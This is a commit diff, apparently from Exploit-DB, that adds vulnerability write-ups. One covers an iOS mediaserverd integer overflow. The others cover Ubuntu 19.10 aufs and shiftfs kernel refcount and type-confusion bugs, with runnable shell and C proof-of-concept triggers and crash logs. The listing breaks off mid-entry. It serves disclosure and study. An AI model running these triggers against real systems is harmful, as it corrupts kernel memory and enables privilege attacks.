DB: 2019-11-21
11 changes to exploits/shellcodes Ubuntu 19.10 - ubuntu-aufs-modified mmap_region() Breaks Refcounting in overlayfs/shiftfs Error Path Ubuntu 19.10 - Refcount Underflow and Type Confusion in shiftfs iOS 12.4 - Sandbox Escape due to Integer Overflow in mediaserverd Windows - Escalate UAC Protection Bypass (Via dot net profiler) (Metasploit) Windows - Escalate UAC Protection Bypass (Via Shell Open Registry Key) (Metasploit) Xorg X11 Server - Local Privilege Escalation (Metasploit) FusionPBX - Operator Panel exec.php Command Execution (Metasploit) FreeSWITCH - Event Socket Command Execution (Metasploit) Bludit - Directory Traversal Image File Upload (Metasploit) Pulse Secure VPN - Arbitrary Command Execution (Metasploit) OpenNetAdmin 18.1.1 - Remote Code Execution
This commit is contained in:
parent
72cddaee51
commit
cacee46726
12 changed files with 1958 additions and 0 deletions
55
exploits/ios/dos/47694.txt
Normal file
55
exploits/ios/dos/47694.txt
Normal file
|
@ -0,0 +1,55 @@
|
|||
mediaserverd has various media parsing responsibilities; its reachable from various sandboxes
|
||||
and is able to talk to interesting kernel drivers so is a valid target in an exploit chain.
|
||||
|
||||
One of the services it vends is com.apple.audio.AudioFileServer, a fairly simple XPC service
|
||||
which will parse audio files on behalf of clients and send them the raw bytes.
|
||||
|
||||
Files are opened via their ipod-library:// URL; for the purposes of this PoC you will need to
|
||||
ensure there is at least one audio file in the iTunes library
|
||||
(I've used one of my highschool band's MP3s, available on request, it's not that bad!)
|
||||
|
||||
The files are actually parsed by the AudioFileReadPacketData method; here's the prototype from the docs:
|
||||
|
||||
OSStatus AudioFileReadPacketData(AudioFileID inAudioFile,
|
||||
Boolean inUseCache,
|
||||
UInt32 *ioNumBytes,
|
||||
AudioStreamPacketDescription *outPacketDescriptions,
|
||||
SInt64 inStartingPacket,
|
||||
UInt32 *ioNumPackets,
|
||||
void *outBuffer);
|
||||
|
||||
The docs tell us the meaning of the ioNumBytes and outBuffer arguments:
|
||||
|
||||
ioNumBytes
|
||||
On input, the size of the outBuffer parameter, in bytes. On output, the number of bytes actually read.
|
||||
|
||||
outBuffer
|
||||
Memory that you allocate to hold the read packets. Determine an appropriate size by multiplying
|
||||
the number of packets requested (in the ioNumPackets parameter) by the typical packet size
|
||||
for the audio data in the file. For uncompressed audio formats, a packet is equal to a frame.
|
||||
|
||||
For the purposes of the bug this function has memcpy semantics; the value pointed to
|
||||
by ioNumBytes will be considered the correct size of the output buffer;
|
||||
AudioFileReadPacketData will be unable to verify that; it's up to the caller.
|
||||
|
||||
Looking at the code which calls this the values are derived from three values passed
|
||||
in the 'read' xpc message:
|
||||
|
||||
numbytes (uint64), numpackets (uint64), startingPacket (int64)
|
||||
|
||||
Those values are truncated to 32 bits then passed through a few layers of function calls during which
|
||||
various integer overflow occur when they're multiplied and added (there are no checks anywhere.)
|
||||
|
||||
You eventually end up in a curious allocation routine which is able to allocate three different types of
|
||||
shared memory using either mach memory entries, posix shm or xpc_shmem. This service uses posix_shm,
|
||||
the PoC should cause mediaserverd to shm_truncate and mmap a 0x4000 byte region,
|
||||
then attempt to write significantly more bytes there.
|
||||
|
||||
In the debug_output.txt file you can see the debug output and crash log demonstrating that audio data has clearly
|
||||
corrupted an object and caused a pointer to be overwritten with audio data.
|
||||
|
||||
Tested on iOS 12.4 (16G77) on iPod touch 6G
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47694.zip
|
188
exploits/linux/dos/47692.txt
Normal file
188
exploits/linux/dos/47692.txt
Normal file
|
@ -0,0 +1,188 @@
|
|||
Tested on 19.10.
|
||||
|
||||
Ubuntu's aufs kernel patch includes the following change (which I interestingly
|
||||
can't see in the AUFS code at
|
||||
https://github.com/sfjro/aufs5-linux/blob/master/mm/mmap.c):
|
||||
|
||||
==================================================================
|
||||
+#define vma_fput(vma) vma_do_fput(vma, __func__, __LINE__)
|
||||
[...]
|
||||
@@ -1847,8 +1847,8 @@ unsigned long mmap_region(struct file *file, unsigned long addr,
|
||||
return addr;
|
||||
|
||||
unmap_and_free_vma:
|
||||
+ vma_fput(vma);
|
||||
vma->vm_file = NULL;
|
||||
- fput(file);
|
||||
|
||||
/* Undo any partial mapping done by a device driver. */
|
||||
unmap_region(mm, vma, prev, vma->vm_start, vma->vm_end);
|
||||
[...]
|
||||
+void vma_do_fput(struct vm_area_struct *vma, const char func[], int line)
|
||||
+{
|
||||
+ struct file *f = vma->vm_file, *pr = vma->vm_prfile;
|
||||
+
|
||||
+ prfile_trace(f, pr, func, line, __func__);
|
||||
+ fput(f);
|
||||
+ if (f && pr)
|
||||
+ fput(pr);
|
||||
+}
|
||||
==================================================================
|
||||
|
||||
This means that in the case where call_mmap() returns an error to mmap_region(),
|
||||
fput() will be called on the current value of vma->vm_file instead of the saved
|
||||
file pointer. This matters if the ->mmap() handler replaces ->vm_file before
|
||||
returning an error code.
|
||||
|
||||
overlayfs and shiftfs do that when call_mmap() on the lower filesystem fails,
|
||||
see ovl_mmap() and shiftfs_mmap().
|
||||
|
||||
To demonstrate the issue, the PoC below mounts a shiftfs that is backed by a
|
||||
FUSE filesystem with the FUSE flag FOPEN_DIRECT_IO, which causes fuse_file_mmap()
|
||||
to bail out with -ENODEV if MAP_SHARED is set.
|
||||
|
||||
I would have used overlayfs instead, but there is an unrelated bug that makes it
|
||||
impossible to mount overlayfs inside a user namespace:
|
||||
Commit 82c0860106f264 ("UBUNTU: SAUCE: overlayfs: Propogate nosuid from lower
|
||||
and upper mounts") defines SB_I_NOSUID as 0x00000010, but SB_I_USERNS_VISIBLE
|
||||
already has the same value. This causes mount_too_revealing() to bail out with a
|
||||
WARN_ONCE().
|
||||
|
||||
Note that this PoC requires the "bindfs" package and should be executed with
|
||||
"slub_debug" in the kernel commandline to get a clear crash.
|
||||
|
||||
==================================================================
|
||||
Ubuntu 19.10 user-Standard-PC-Q35-ICH9-2009 ttyS0
|
||||
|
||||
user-Standard-PC-Q35-ICH9-2009 login: user
|
||||
Password:
|
||||
Last login: Fr Nov 1 23:45:36 CET 2019 on ttyS0
|
||||
Welcome to Ubuntu 19.10 (GNU/Linux 5.3.0-19-generic x86_64)
|
||||
|
||||
* Documentation: https://help.ubuntu.com
|
||||
* Management: https://landscape.canonical.com
|
||||
* Support: https://ubuntu.com/advantage
|
||||
|
||||
|
||||
0 updates can be installed immediately.
|
||||
0 of these updates are security updates.
|
||||
|
||||
user@user-Standard-PC-Q35-ICH9-2009:~$ ls
|
||||
aufs-mmap Documents Music Public trace.dat
|
||||
Desktop Downloads Pictures Templates Videos
|
||||
user@user-Standard-PC-Q35-ICH9-2009:~$ cd aufs-mmap/
|
||||
user@user-Standard-PC-Q35-ICH9-2009:~/aufs-mmap$ cat /proc/cmdline
|
||||
BOOT_IMAGE=/boot/vmlinuz-5.3.0-19-generic root=UUID=f7d8d4fb-0c96-498e-b875-0b777127a332 ro console=ttyS0 slub_debug quiet splash vt.handoff=7
|
||||
user@user-Standard-PC-Q35-ICH9-2009:~/aufs-mmap$ cat run.sh
|
||||
#!/bin/sh
|
||||
sync
|
||||
unshare -mUr ./run2.sh
|
||||
user@user-Standard-PC-Q35-ICH9-2009:~/aufs-mmap$ cat run2.sh
|
||||
#!/bin/bash
|
||||
set -e
|
||||
|
||||
mount -t tmpfs none /tmp
|
||||
mkdir -p /tmp/{lower,middle,upper}
|
||||
touch /tmp/lower/foo
|
||||
# mount some random FUSE filesystem with direct_io,
|
||||
# doesn't really matter what it does as long as
|
||||
# there's a file in it.
|
||||
# (this is just to get some filesystem that can
|
||||
# easily be convinced to throw errors from f_op->mmap)
|
||||
bindfs -o direct_io /tmp/lower /tmp/middle
|
||||
# use the FUSE filesystem to back shiftfs.
|
||||
# overlayfs would also work if SB_I_NOSUID and
|
||||
# SB_I_USERNS_VISIBLE weren't defined to the same
|
||||
# value...
|
||||
mount -t shiftfs -o mark /tmp/middle /tmp/upper
|
||||
mount|grep shift
|
||||
gcc -o trigger trigger.c -Wall
|
||||
./trigger
|
||||
user@user-Standard-PC-Q35-ICH9-2009:~/aufs-mmap$ cat trigger.c
|
||||
#include <fcntl.h>
|
||||
#include <err.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/mman.h>
|
||||
#include <stdio.h>
|
||||
|
||||
int main(void) {
|
||||
int foofd = open("/tmp/upper/foo", O_RDONLY);
|
||||
if (foofd == -1) err(1, "open foofd");
|
||||
void *badmap = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, foofd, 0);
|
||||
if (badmap == MAP_FAILED) {
|
||||
perror("badmap");
|
||||
} else {
|
||||
errx(1, "badmap worked???");
|
||||
}
|
||||
sleep(1);
|
||||
mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, foofd, 0);
|
||||
}
|
||||
user@user-Standard-PC-Q35-ICH9-2009:~/aufs-mmap$ ./run.sh
|
||||
/tmp/middle on /tmp/upper type shiftfs (rw,relatime,mark)
|
||||
badmap: No such device
|
||||
[ 72.101721] general protection fault: 0000 [#1] SMP PTI
|
||||
[ 72.111917] CPU: 1 PID: 1376 Comm: trigger Not tainted 5.3.0-19-generic #20-Ubuntu
|
||||
[ 72.124846] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.12.0-1 04/01/2014
|
||||
[ 72.140965] RIP: 0010:shiftfs_mmap+0x20/0xd0 [shiftfs]
|
||||
[ 72.149210] Code: 8b e0 5d c3 c3 0f 1f 44 00 00 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 48 8b 87 c8 00 00 00 4c 8b 68 10 49 8b 45 28 <48> 83 78 60 00 0f 84 97 00 00 00 49 89 fc 49 89 f6 48 39 be a0 00
|
||||
[ 72.167229] RSP: 0018:ffffc1490061bd40 EFLAGS: 00010202
|
||||
[ 72.170426] RAX: 6b6b6b6b6b6b6b6b RBX: ffff9c1cf1ae5788 RCX: 7800000000000000
|
||||
[ 72.174528] RDX: 8000000000000025 RSI: ffff9c1cf14bfdc8 RDI: ffff9c1cc48b5900
|
||||
[ 72.177790] RBP: ffffc1490061bd60 R08: ffff9c1cf14bfdc8 R09: 0000000000000000
|
||||
[ 72.181199] R10: ffff9c1cf1ae5768 R11: 00007faa3eddb000 R12: ffff9c1cf1ae5790
|
||||
[ 72.186306] R13: ffff9c1cc48b7740 R14: ffff9c1cf14bfdc8 R15: ffff9c1cf7209740
|
||||
[ 72.189705] FS: 00007faa3ed9e540(0000) GS:ffff9c1cfbb00000(0000) knlGS:0000000000000000
|
||||
[ 72.193073] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
|
||||
[ 72.195390] CR2: 0000558ad728d3e0 CR3: 0000000144804003 CR4: 0000000000360ee0
|
||||
[ 72.198237] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
|
||||
[ 72.200557] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
|
||||
[ 72.202815] Call Trace:
|
||||
[ 72.203712] mmap_region+0x417/0x670
|
||||
[ 72.204868] do_mmap+0x3a8/0x580
|
||||
[ 72.205939] vm_mmap_pgoff+0xcb/0x120
|
||||
[ 72.207954] ksys_mmap_pgoff+0x1ca/0x2a0
|
||||
[ 72.210078] __x64_sys_mmap+0x33/0x40
|
||||
[ 72.211327] do_syscall_64+0x5a/0x130
|
||||
[ 72.212538] entry_SYSCALL_64_after_hwframe+0x44/0xa9
|
||||
[ 72.214177] RIP: 0033:0x7faa3ecc7af6
|
||||
[ 72.215352] Code: 00 00 00 00 f3 0f 1e fa 41 f7 c1 ff 0f 00 00 75 2b 55 48 89 fd 53 89 cb 48 85 ff 74 37 41 89 da 48 89 ef b8 09 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 62 5b 5d c3 0f 1f 80 00 00 00 00 48 8b 05 61
|
||||
[ 72.222275] RSP: 002b:00007ffd0fc44c68 EFLAGS: 00000246 ORIG_RAX: 0000000000000009
|
||||
[ 72.224714] RAX: ffffffffffffffda RBX: 0000000000000001 RCX: 00007faa3ecc7af6
|
||||
[ 72.228123] RDX: 0000000000000001 RSI: 0000000000001000 RDI: 0000000000000000
|
||||
[ 72.230913] RBP: 0000000000000000 R08: 0000000000000003 R09: 0000000000000000
|
||||
[ 72.233193] R10: 0000000000000001 R11: 0000000000000246 R12: 0000556248213100
|
||||
[ 72.235448] R13: 00007ffd0fc44d70 R14: 0000000000000000 R15: 0000000000000000
|
||||
[ 72.237681] Modules linked in: shiftfs intel_rapl_msr snd_hda_codec_generic ledtrig_audio snd_hda_intel snd_hda_codec snd_hda_core snd_hwdep snd_pcm snd_seq_midi snd_seq_midi_event snd_rawmidi intel_rapl_common crct10dif_pclmul crc32_pclmul ghash_clmulni_intel aesni_intel aes_x86_64 crypto_simd snd_seq cryptd glue_helper joydev input_leds serio_raw snd_seq_device snd_timer snd qxl ttm soundcore qemu_fw_cfg drm_kms_helper drm fb_sys_fops syscopyarea sysfillrect sysimgblt mac_hid sch_fq_codel parport_pc ppdev lp parport virtio_rng ip_tables x_tables autofs4 hid_generic usbhid hid virtio_net net_failover failover ahci psmouse lpc_ich i2c_i801 libahci virtio_blk
|
||||
[ 72.257673] ---[ end trace 5d85e7b7b0bae5f5 ]---
|
||||
[ 72.259237] RIP: 0010:shiftfs_mmap+0x20/0xd0 [shiftfs]
|
||||
[ 72.260990] Code: 8b e0 5d c3 c3 0f 1f 44 00 00 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 48 8b 87 c8 00 00 00 4c 8b 68 10 49 8b 45 28 <48> 83 78 60 00 0f 84 97 00 00 00 49 89 fc 49 89 f6 48 39 be a0 00
|
||||
[ 72.269615] RSP: 0018:ffffc1490061bd40 EFLAGS: 00010202
|
||||
[ 72.271414] RAX: 6b6b6b6b6b6b6b6b RBX: ffff9c1cf1ae5788 RCX: 7800000000000000
|
||||
[ 72.273893] RDX: 8000000000000025 RSI: ffff9c1cf14bfdc8 RDI: ffff9c1cc48b5900
|
||||
[ 72.276354] RBP: ffffc1490061bd60 R08: ffff9c1cf14bfdc8 R09: 0000000000000000
|
||||
[ 72.278796] R10: ffff9c1cf1ae5768 R11: 00007faa3eddb000 R12: ffff9c1cf1ae5790
|
||||
[ 72.281095] R13: ffff9c1cc48b7740 R14: ffff9c1cf14bfdc8 R15: ffff9c1cf7209740
|
||||
[ 72.284048] FS: 00007faa3ed9e540(0000) GS:ffff9c1cfbb00000(0000) knlGS:0000000000000000
|
||||
[ 72.287161] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
|
||||
[ 72.289164] CR2: 0000558ad728d3e0 CR3: 0000000144804003 CR4: 0000000000360ee0
|
||||
[ 72.291953] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
|
||||
[ 72.294487] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
|
||||
==================================================================
|
||||
|
||||
Faulting code:
|
||||
|
||||
0000000F 55 push rbp
|
||||
00000010 4889E5 mov rbp,rsp
|
||||
00000013 4157 push r15
|
||||
00000015 4156 push r14
|
||||
00000017 4155 push r13
|
||||
00000019 4154 push r12
|
||||
0000001B 488B87C8000000 mov rax,[rdi+0xc8]
|
||||
00000022 4C8B6810 mov r13,[rax+0x10]
|
||||
00000026 498B4528 mov rax,[r13+0x28]
|
||||
0000002A 4883786000 cmp qword [rax+0x60],byte +0x0 <<<< GPF HERE
|
||||
0000002F 0F8497000000 jz near 0xcc
|
||||
00000035 4989FC mov r12,rdi
|
||||
00000038 4989F6 mov r14,rsi
|
||||
|
||||
As you can see, the poison value 6b6b6b6b6b6b6b6b is being dereferenced.
|
311
exploits/linux/dos/47693.txt
Normal file
311
exploits/linux/dos/47693.txt
Normal file
|
@ -0,0 +1,311 @@
|
|||
Tested on Ubuntu 19.10, kernel "5.3.0-19-generic #20-Ubuntu".
|
||||
|
||||
Ubuntu ships a filesystem "shiftfs" in fs/shiftfs.c in the kernel tree that
|
||||
doesn't exist upstream. This filesystem can be mounted from user namespaces,
|
||||
meaning that this is attack surface from unprivileged userspace in the default
|
||||
installation.
|
||||
|
||||
There are two memory safety bugs around shiftfs_btrfs_ioctl_fd_replace().
|
||||
|
||||
#################### Bug 1: Flawed reference counting ####################
|
||||
|
||||
In shiftfs_btrfs_ioctl_fd_replace() ("//" comments added by me):
|
||||
|
||||
|
||||
src = fdget(oldfd);
|
||||
if (!src.file)
|
||||
return -EINVAL;
|
||||
// src holds one reference (assuming multithreaded execution)
|
||||
|
||||
ret = shiftfs_real_fdget(src.file, lfd);
|
||||
// lfd->file is a file* now, but shiftfs_real_fdget didn't take any
|
||||
// extra references
|
||||
fdput(src);
|
||||
// this drops the only reference we were holding on src, and src was
|
||||
// the only thing holding a reference to lfd->file. lfd->file may be
|
||||
// dangling at this point.
|
||||
if (ret)
|
||||
return ret;
|
||||
|
||||
*newfd = get_unused_fd_flags(lfd->file->f_flags);
|
||||
if (*newfd < 0) {
|
||||
// always a no-op
|
||||
fdput(*lfd);
|
||||
return *newfd;
|
||||
}
|
||||
|
||||
fd_install(*newfd, lfd->file);
|
||||
// fd_install() consumes a counted reference, but we don't hold any
|
||||
// counted references. so at this point, if lfd->file hasn't been freed
|
||||
// yet, its refcount is one lower than it ought to be.
|
||||
|
||||
[...]
|
||||
|
||||
// the following code is refcount-neutral, so the refcount stays one too
|
||||
// low.
|
||||
if (ret)
|
||||
shiftfs_btrfs_ioctl_fd_restore(cmd, *lfd, *newfd, arg, v1, v2);
|
||||
|
||||
|
||||
shiftfs_real_fdget() is implemented as follows:
|
||||
|
||||
static int shiftfs_real_fdget(const struct file *file, struct fd *lowerfd)
|
||||
{
|
||||
struct shiftfs_file_info *file_info = file->private_data;
|
||||
struct file *realfile = file_info->realfile;
|
||||
|
||||
lowerfd->flags = 0;
|
||||
lowerfd->file = realfile;
|
||||
|
||||
/* Did the flags change since open? */
|
||||
if (unlikely(file->f_flags & ~lowerfd->file->f_flags))
|
||||
return shiftfs_change_flags(lowerfd->file, file->f_flags);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
Therefore, the following PoC will cause reference count overdecrements; I ran it
|
||||
with SLUB debugging enabled and got the following splat:
|
||||
|
||||
=======================================
|
||||
user@ubuntu1910vm:~/shiftfs$ cat run.sh
|
||||
#!/bin/sh
|
||||
sync
|
||||
unshare -mUr ./run2.sh
|
||||
t run2user@ubuntu1910vm:~/shiftfs$ cat run2.sh
|
||||
#!/bin/sh
|
||||
set -e
|
||||
|
||||
mkdir -p mnt/tmpfs
|
||||
mkdir -p mnt/shiftfs
|
||||
mount -t tmpfs none mnt/tmpfs
|
||||
mount -t shiftfs -o mark,passthrough=2 mnt/tmpfs mnt/shiftfs
|
||||
mount|grep shift
|
||||
touch mnt/tmpfs/foo
|
||||
gcc -o ioctl ioctl.c -Wall
|
||||
./ioctl
|
||||
user@ubuntu1910vm:~/shiftfs$ cat ioctl.c
|
||||
#include <sys/ioctl.h>
|
||||
#include <fcntl.h>
|
||||
#include <err.h>
|
||||
#include <unistd.h>
|
||||
#include <linux/btrfs.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
int main(void) {
|
||||
int root = open("mnt/shiftfs", O_RDONLY);
|
||||
if (root == -1) err(1, "open shiftfs root");
|
||||
int foofd = openat(root, "foo", O_RDONLY);
|
||||
if (foofd == -1) err(1, "open foofd");
|
||||
struct btrfs_ioctl_vol_args iocarg = {
|
||||
.fd = foofd
|
||||
};
|
||||
ioctl(root, BTRFS_IOC_SNAP_CREATE, &iocarg);
|
||||
sleep(1);
|
||||
void *map = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, foofd, 0);
|
||||
if (map != MAP_FAILED) munmap(map, 0x1000);
|
||||
}
|
||||
user@ubuntu1910vm:~/shiftfs$ ./run.sh
|
||||
none on /home/user/shiftfs/mnt/tmpfs type tmpfs (rw,relatime,uid=1000,gid=1000)
|
||||
/home/user/shiftfs/mnt/tmpfs on /home/user/shiftfs/mnt/shiftfs type shiftfs (rw,relatime,mark,passthrough=2)
|
||||
[ 183.463452] general protection fault: 0000 [#1] SMP PTI
|
||||
[ 183.467068] CPU: 1 PID: 2473 Comm: ioctl Not tainted 5.3.0-19-generic #20-Ubuntu
|
||||
[ 183.472170] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.12.0-1 04/01/2014
|
||||
[ 183.476830] RIP: 0010:shiftfs_mmap+0x20/0xd0 [shiftfs]
|
||||
[ 183.478524] Code: 20 cf 5d c3 c3 0f 1f 44 00 00 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 48 8b 87 c8 00 00 00 4c 8b 68 10 49 8b 45 28 <48> 83 78 60 00 0f 84 97 00 00 00 49 89 fc 49 89 f6 48 39 be a0 00
|
||||
[ 183.484585] RSP: 0018:ffffae48007c3d40 EFLAGS: 00010206
|
||||
[ 183.486290] RAX: 6b6b6b6b6b6b6b6b RBX: ffff93f1fb7908a8 RCX: 7800000000000000
|
||||
[ 183.489617] RDX: 8000000000000025 RSI: ffff93f1fb792208 RDI: ffff93f1f69fa400
|
||||
[ 183.491975] RBP: ffffae48007c3d60 R08: ffff93f1fb792208 R09: 0000000000000000
|
||||
[ 183.494311] R10: ffff93f1fb790888 R11: 00007f1d01d10000 R12: ffff93f1fb7908b0
|
||||
[ 183.496675] R13: ffff93f1f69f9900 R14: ffff93f1fb792208 R15: ffff93f22f102e40
|
||||
[ 183.499011] FS: 00007f1d01cd1540(0000) GS:ffff93f237a40000(0000) knlGS:0000000000000000
|
||||
[ 183.501679] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
|
||||
[ 183.503568] CR2: 00007f1d01bc4c10 CR3: 0000000242726001 CR4: 0000000000360ee0
|
||||
[ 183.505901] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
|
||||
[ 183.508229] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
|
||||
[ 183.510580] Call Trace:
|
||||
[ 183.511396] mmap_region+0x417/0x670
|
||||
[ 183.512592] do_mmap+0x3a8/0x580
|
||||
[ 183.513655] vm_mmap_pgoff+0xcb/0x120
|
||||
[ 183.514863] ksys_mmap_pgoff+0x1ca/0x2a0
|
||||
[ 183.516155] __x64_sys_mmap+0x33/0x40
|
||||
[ 183.517352] do_syscall_64+0x5a/0x130
|
||||
[ 183.518548] entry_SYSCALL_64_after_hwframe+0x44/0xa9
|
||||
[ 183.520196] RIP: 0033:0x7f1d01bfaaf6
|
||||
[ 183.521372] Code: 00 00 00 00 f3 0f 1e fa 41 f7 c1 ff 0f 00 00 75 2b 55 48 89 fd 53 89 cb 48 85 ff 74 37 41 89 da 48 89 ef b8 09 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 62 5b 5d c3 0f 1f 80 00 00 00 00 48 8b 05 61
|
||||
[ 183.527210] RSP: 002b:00007ffdf50bae98 EFLAGS: 00000246 ORIG_RAX: 0000000000000009
|
||||
[ 183.529582] RAX: ffffffffffffffda RBX: 0000000000000001 RCX: 00007f1d01bfaaf6
|
||||
[ 183.531811] RDX: 0000000000000001 RSI: 0000000000001000 RDI: 0000000000000000
|
||||
[ 183.533999] RBP: 0000000000000000 R08: 0000000000000004 R09: 0000000000000000
|
||||
[ 183.536199] R10: 0000000000000001 R11: 0000000000000246 R12: 00005616cf6f5140
|
||||
[ 183.538448] R13: 00007ffdf50bbfb0 R14: 0000000000000000 R15: 0000000000000000
|
||||
[ 183.540714] Modules linked in: shiftfs intel_rapl_msr intel_rapl_common kvm_intel kvm irqbypass snd_hda_codec_generic ledtrig_audio snd_hda_intel snd_hda_codec snd_hda_core crct10dif_pclmul snd_hwdep crc32_pclmul ghash_clmulni_intel snd_pcm aesni_intel snd_seq_midi snd_seq_midi_event aes_x86_64 crypto_simd snd_rawmidi cryptd joydev input_leds snd_seq glue_helper qxl snd_seq_device snd_timer ttm drm_kms_helper drm snd fb_sys_fops syscopyarea sysfillrect sysimgblt serio_raw qemu_fw_cfg soundcore mac_hid sch_fq_codel parport_pc ppdev lp parport virtio_rng ip_tables x_tables autofs4 hid_generic usbhid hid virtio_net net_failover psmouse ahci i2c_i801 libahci lpc_ich virtio_blk failover
|
||||
[ 183.560350] ---[ end trace 4a860910803657c2 ]---
|
||||
[ 183.561832] RIP: 0010:shiftfs_mmap+0x20/0xd0 [shiftfs]
|
||||
[ 183.563496] Code: 20 cf 5d c3 c3 0f 1f 44 00 00 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 48 8b 87 c8 00 00 00 4c 8b 68 10 49 8b 45 28 <48> 83 78 60 00 0f 84 97 00 00 00 49 89 fc 49 89 f6 48 39 be a0 00
|
||||
[ 183.569438] RSP: 0018:ffffae48007c3d40 EFLAGS: 00010206
|
||||
[ 183.571102] RAX: 6b6b6b6b6b6b6b6b RBX: ffff93f1fb7908a8 RCX: 7800000000000000
|
||||
[ 183.573362] RDX: 8000000000000025 RSI: ffff93f1fb792208 RDI: ffff93f1f69fa400
|
||||
[ 183.575655] RBP: ffffae48007c3d60 R08: ffff93f1fb792208 R09: 0000000000000000
|
||||
[ 183.577893] R10: ffff93f1fb790888 R11: 00007f1d01d10000 R12: ffff93f1fb7908b0
|
||||
[ 183.580166] R13: ffff93f1f69f9900 R14: ffff93f1fb792208 R15: ffff93f22f102e40
|
||||
[ 183.582411] FS: 00007f1d01cd1540(0000) GS:ffff93f237a40000(0000) knlGS:0000000000000000
|
||||
[ 183.584960] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
|
||||
[ 183.586796] CR2: 00007f1d01bc4c10 CR3: 0000000242726001 CR4: 0000000000360ee0
|
||||
[ 183.589035] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
|
||||
[ 183.591279] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
|
||||
=======================================
|
||||
|
||||
Disassembly of surrounding code:
|
||||
|
||||
55 push rbp
|
||||
4889E5 mov rbp,rsp
|
||||
4157 push r15
|
||||
4156 push r14
|
||||
4155 push r13
|
||||
4154 push r12
|
||||
488B87C8000000 mov rax,[rdi+0xc8]
|
||||
4C8B6810 mov r13,[rax+0x10]
|
||||
498B4528 mov rax,[r13+0x28]
|
||||
4883786000 cmp qword [rax+0x60],byte +0x0 <-- GPF HERE
|
||||
0F8497000000 jz near 0xcc
|
||||
4989FC mov r12,rdi
|
||||
4989F6 mov r14,rsi
|
||||
|
||||
This is an attempted dereference of 0x6b6b6b6b6b6b6b6b, which is POISON_FREE; I
|
||||
think this corresponds to the load of "realfile->f_op->mmap" in the source code.
|
||||
|
||||
|
||||
|
||||
#################### Bug 2: Type confusion ####################
|
||||
|
||||
shiftfs_btrfs_ioctl_fd_replace() calls fdget(oldfd), then without further checks
|
||||
passes the resulting file* into shiftfs_real_fdget(), which does this:
|
||||
|
||||
static int shiftfs_real_fdget(const struct file *file, struct fd *lowerfd)
|
||||
{
|
||||
struct shiftfs_file_info *file_info = file->private_data;
|
||||
struct file *realfile = file_info->realfile;
|
||||
|
||||
lowerfd->flags = 0;
|
||||
lowerfd->file = realfile;
|
||||
|
||||
/* Did the flags change since open? */
|
||||
if (unlikely(file->f_flags & ~lowerfd->file->f_flags))
|
||||
return shiftfs_change_flags(lowerfd->file, file->f_flags);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
file->private_data is a void* that points to a filesystem-dependent type; and
|
||||
some filesystems even use it to store a type-cast number instead of a pointer.
|
||||
The implicit cast to a "struct shiftfs_file_info *" can therefore be a bad cast.
|
||||
|
||||
As a PoC, here I'm causing a type confusion between struct shiftfs_file_info
|
||||
(with ->realfile at offset 0x10) and struct mm_struct (with vmacache_seqnum at
|
||||
offset 0x10), and I use that to cause a memory dereference somewhere around
|
||||
0x4242:
|
||||
|
||||
|
||||
=======================================
|
||||
user@ubuntu1910vm:~/shiftfs_confuse$ cat run.sh
|
||||
#!/bin/sh
|
||||
sync
|
||||
unshare -mUr ./run2.sh
|
||||
user@ubuntu1910vm:~/shiftfs_confuse$ cat run2.sh
|
||||
#!/bin/sh
|
||||
set -e
|
||||
|
||||
mkdir -p mnt/tmpfs
|
||||
mkdir -p mnt/shiftfs
|
||||
mount -t tmpfs none mnt/tmpfs
|
||||
mount -t shiftfs -o mark,passthrough=2 mnt/tmpfs mnt/shiftfs
|
||||
mount|grep shift
|
||||
gcc -o ioctl ioctl.c -Wall
|
||||
./ioctl
|
||||
user@ubuntu1910vm:~/shiftfs_confuse$ cat ioctl.c
|
||||
#include <sys/ioctl.h>
|
||||
#include <fcntl.h>
|
||||
#include <err.h>
|
||||
#include <unistd.h>
|
||||
#include <linux/btrfs.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
int main(void) {
|
||||
// make our vmacache sequence number something like 0x4242
|
||||
for (int i=0; i<0x4242; i++) {
|
||||
void *x = mmap((void*)0x100000000UL, 0x1000, PROT_READ,
|
||||
MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
|
||||
if (x == MAP_FAILED) err(1, "mmap vmacache seqnum");
|
||||
munmap(x, 0x1000);
|
||||
}
|
||||
|
||||
int root = open("mnt/shiftfs", O_RDONLY);
|
||||
if (root == -1) err(1, "open shiftfs root");
|
||||
int foofd = open("/proc/self/environ", O_RDONLY);
|
||||
if (foofd == -1) err(1, "open foofd");
|
||||
// trigger the confusion
|
||||
struct btrfs_ioctl_vol_args iocarg = {
|
||||
.fd = foofd
|
||||
};
|
||||
ioctl(root, BTRFS_IOC_SNAP_CREATE, &iocarg);
|
||||
}
|
||||
user@ubuntu1910vm:~/shiftfs_confuse$ ./run.sh
|
||||
